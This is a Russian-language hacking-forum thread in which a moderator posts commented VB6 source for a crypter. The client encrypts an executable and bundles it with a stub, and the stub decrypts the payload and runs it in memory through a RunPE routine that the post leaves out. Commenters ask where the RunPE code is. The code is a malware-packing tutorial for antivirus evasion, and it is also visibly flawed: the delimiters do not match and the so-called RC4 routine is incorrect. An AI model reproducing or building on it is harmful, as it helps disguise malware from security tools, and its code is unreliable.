Source Как Работает Криптер, обзор VB6 кода

Тема в разделе "VB6 / VB .NET", создана пользователем FAST3, 11 янв 2017.

  1. FAST3

    FAST3 ADMINISTRATOR Модератор USER

    407
    615
    0
    Хаксер, увижу это на факаве голову оторву!))) По твоей просбе сделал всё таки.

    Client:

    Код:
    Private Sub cmdProtect_Click()
    ' Для начало нам надо откырыь нашь Stub
    
    ' Мы создаём переменную чтоб, записать информацию Stub-а
    
    Dim Stub As String ' это переменная которая будет содержать всю инфу со Stub-a
    
    ' Сейчас мы откроем стаб, и добавим инфу в нашу переменную
    
    Open App.Path & "\Stub.exe" For Binary As #1 ' открываем нашь стаб в бинарном коде
    Stub = Space(LOF(1)) ' Мы говарим Stub переменную что он дольжен сохранить все данные которые есть в Stub.exe
    Get #1, , Stub ' Так мы взяли инфу с командой GET #1, , Stub и сохранили его в "Stub" Переменную
    Close #1 ' а здесь прост закрываем нашь \stub.exe потому что все данные уже сохранени в "Stub" переменную
    
    
    ' кароче у нас уже есть сохраненая инфа стаба сделаем кнопочку для сохранение
    ' криптовоного файла
    
    With CD ' Ну это CommonDialog1 я изменил имя имя на "CD" используем его для нашего диалога
    
            .DialogTitle = "Select Where you want to Save Crypted File" ' Заголовок окна нашего диалога
            .Filter = "EXE Files |*.exe" ' фильтр .exe
            .ShowSave ' Сейв ас кароче)))
    
    End With ' Закриваем "With CD"
    
    
    ' Ладно с этим разобралис, сейчас мы дольжни открыть файл которую хотят закриптавать, также как и стаб.
    
    ' и мы создаём переменную для того чтоб сохранить данные этого файла!
    
    Dim File As String ' это переменная для файла
    
    Open txtfile.Text For Binary As #1 ' "txtfile.text" <<-- это и есть нашь файл, октрываем его в бинарном моде
    File = Space(LOF(1)) ' тот же как и верх даём переменную коммадну чтоб он прочитал все данные этого файла
    Get #1, , File ' Так мы взяли инфу с командой GET и сохранили в переменную File
    Close #1 ' Закрыли его.
    
    
    
    итоги:
    У нас есть информация файла которого отркыили
    сейчас надо его шифровать эту инфу, добовлаем РЦ4 в нашь модуль или тут же в форму
    
    'Сейчас закриптуем нашу инфу которая содержится в переменной "File"
    
    File = RC4(File, "SKYWEB") ' Сейчас файл зашифрован :) Сейчас мы дольжни открыть другой файл и сохранить все данные которие у нас есть
    
    Open CD.FileName For Binary As #1 ' открываем тот файл которы клиен выбрал
    Put #1, , Stub & "[SplitKey]" & File & "[SplitKey]" ' Мы дольжни добавить разделитель данных (DELIMETER)
    Close #1 ' Закроем файл
    
    MsgBox "Hey All is Done ;)", vbInformation ' Сообщение что всё охуенно
    
    ' Сохраним проект скомпилируем клиент и давай разберём Стабчик)) :p
    
    
    End Sub
    
    Private Sub cmdOpen_Click()
    
    'Для открытие файла
    
    
    
    With CD 'With The reference of Command Dialog
            .DialogTitle = "Select The file you Want to Protect" ' Загаловок
            .Filter = "EXE Files |*.exe" ' Фильтр
            .ShowOpen ' Show Dialog
    End With ' Close reference
    
    If Not CD.FileName = vbNullString Then  ' если клиент выбрал файл
    
    txtfile.Text = CD.FileName ' Путь где находится открытий клиентом файл
    
    End If
    
    
    
    End Sub
    
    Public Function RC4(ByVal Data As String, ByVal Password As String) As String ' ByVal Data As String = То что надо шифровать Password = Нашь пароль
    On Error Resume Next
    Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
    Key() = StrConv(Password, vbFromUnicode)
    For X = 0 To 255
        Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
        F(X) = X
    Next X
    Key() = StrConv(Data, vbFromUnicode)
    For X = 0 To Len(Data)
        Y = (Y + F(Y) + 1) Mod 256
        Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
    Next X
    RC4 = StrConv(Key, vbUnicode)
    End Function
    
    Stub:

    Код:
    Sub Main()
    
    'Так начнём!
    
    'Для начало создаём переменуую .... например YO
    
    Dim YO As String
    
    YO = App.Path & "\" & App.EXEName & ".exe" ' и даём значение ему))
    
    'Ладно, сейчас надо открыьт в бинарном моде всё инфу который клиент подготовил для нас
    
    Dim Data As String ' Переменная
    
    Open YO For Binary As #1 ' открываем YO = App.Path & "\" & App.EXEName & ".exe"
    
    'Мы дольжни отделно создать ещё 1 другую переменную чтоб сохранить файл
    
    Data = Space(LOF(1)) '
    Get #1, , Data ' Get взять инфу
    Close #1 ' Close закрить файл
    
    'Мы дольжни разделить файл на две части Stub и Шифрований файл
    'Создаём Массив Delimiter
    
    Dim Delimiter() As String '() Скобочки очень важни потому что это массив!
    
    'Сейчас разделим нашу инфу с помощю Split
    
    Delimiter() = Split(Data, "[DELIMITER]") 'Ладно нашь шифровани файл и стаб разделён
    ''''''''''''''''''''''''''
    ' Это виглядет вот так:
    
    'Delimiter(0) = Stub Data
    'Delimiter(1) = Шифрованная инфа
    
    ''''''''''''''''''''''''''
    
    'Ладно мы сейчас дольжни запустить шифрований файл с помощю Ранпе но до этого надо его расшифрововать
    'добовлаем РЦ4 функцию, тот же что использовали в клиенте
    ''Delimiter(1) = Шифрованная инфа
    Delimiter(1) = RC4(Delimiter(1), "SKYWEB") ' и вспоминаем что мы пароль на расшифровку и шифровку поставили "SKYWEB"
    
    'Давайте сейчас запустим нашь расшифрований файл в памяти
    'добовлаем модул ранпе
    
    Call RUNPE(YO, StrConv(Delimiter(1), vbFromUnicode), vbNullString)
    'Всё готово
    'Скомпилируем стаб  :)
    
    
    End Sub
    
    
    Public Function RC4(ByVal Data As String, ByVal Password As String) As String ' This is a Modified RC4 Function ^^
    On Error Resume Next
    Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
    Key() = StrConv(Password, vbFromUnicode)
    For X = 0 To 255
        Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
        F(X) = X
    Next X
    Key() = StrConv(Data, vbFromUnicode)
    For X = 0 To Len(Data)
        Y = (Y + F(Y) + 1) Mod 256
        Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
    Next X
    RC4 = StrConv(Key, vbUnicode)
    End Function
    
     
    okkeervil, AlexeyZavar, Валера88776 и 5 другим нравится это.
  2. oxotnik

    oxotnik USER

    274
    84
    0
    Call RunPE а где сама ранпе в коде стаба???
     
  3. xakser

    xakser Модератор USER

    361
    301
    0
    Фаст выложил тут только функу RC4. А румпе ты должен взять (найти) сам. Иногда ещё используют Split
     
  4. selcuk

    selcuk USER

    11
    0
    0
    этот криптор написан на vb?
     
  5. MR. MORFEY

    MR. MORFEY ADMINISTRATOR USER

    617
    1.581
    0
    [​IMG]
    В теме написано же или вам очки нужно приобрести.
     
  6. selcuk

    selcuk USER

    11
    0
    0
    Ой спасибо увидел
     
  7. nodarius

    nodarius USER

    3
    0
    0
    И к чему ты это притащил ?. Всё сказанное тобой , закомментированно в исходниках.
     
  8. xakser

    xakser Модератор USER

    361
    301
    0
    Статья была написана по моей просьбе.
     
  9. AnonimusR32

    AnonimusR32 USER

    54
    33
    0
    Надо было еще RunPe показать
     
  10. Snowface

    Snowface USER

    1
    0
    0
    Как открыть код, если есть только exe-шник?
     
    Последнее редактирование: 19 мар 2017
  11. AnonimusR32

    AnonimusR32 USER

    54
    33
    0
    По идее только декомпилировать :)
     
    Snowface нравится это.